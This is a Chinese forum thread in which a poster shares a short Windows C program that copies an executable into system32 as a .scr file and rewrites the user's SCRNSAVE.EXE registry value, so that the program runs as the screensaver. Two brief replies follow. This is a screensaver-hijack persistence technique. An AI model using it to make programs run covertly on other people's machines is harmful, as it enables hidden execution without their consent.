hoy0a1d 发表于 2018-6-29 13:52:02

以屏保方式启动 exe 文件

本帖最后由 hoy0a1d 于 2018-7-8 14:06 编辑

#include <windows.h>
using namespace std;

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                                        LPSTR lpCmdLine, int nCmdShow)
{
      HKEY hKEY;
      
      // 复制 mm 文件到 system32 目录下并重命名为 .scrFALSE 参数覆盖
      CopyFile("C:\\mm.exe", "C:\\Windows\\system32\\Test.scr", FALSE);
      char *KeyPath = "Control Panel\\Desktop";
      // 复制后的文件路径
      char *szPath = "C:\\Windows\\system32\\Test.scr";
      // 打开注册表
      if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_CURRENT_USER, KeyPath, 0, KEY_SET_VALUE, &hKEY))
      {
                // 修改屏保程序为复制后的文件
                if(ERROR_SUCCESS == RegSetValueEx(hKEY, "SCRNSAVE.EXE", 0, REG_SZ, (BYTE*)szPath, strlen(szPath) + 1))
                {
                        RegCloseKey(hKEY);
                        return 0;
                }
      }
      RegCloseKey(hKEY);
      return 0;
}

hu007 发表于 2018-6-30 09:09:42

小白路过了

zhangshiyi 发表于 2024-5-1 00:12:06

咋使用不会用?请楼主详细说下
页: [1]
查看完整版本: 以屏保方式启动 exe 文件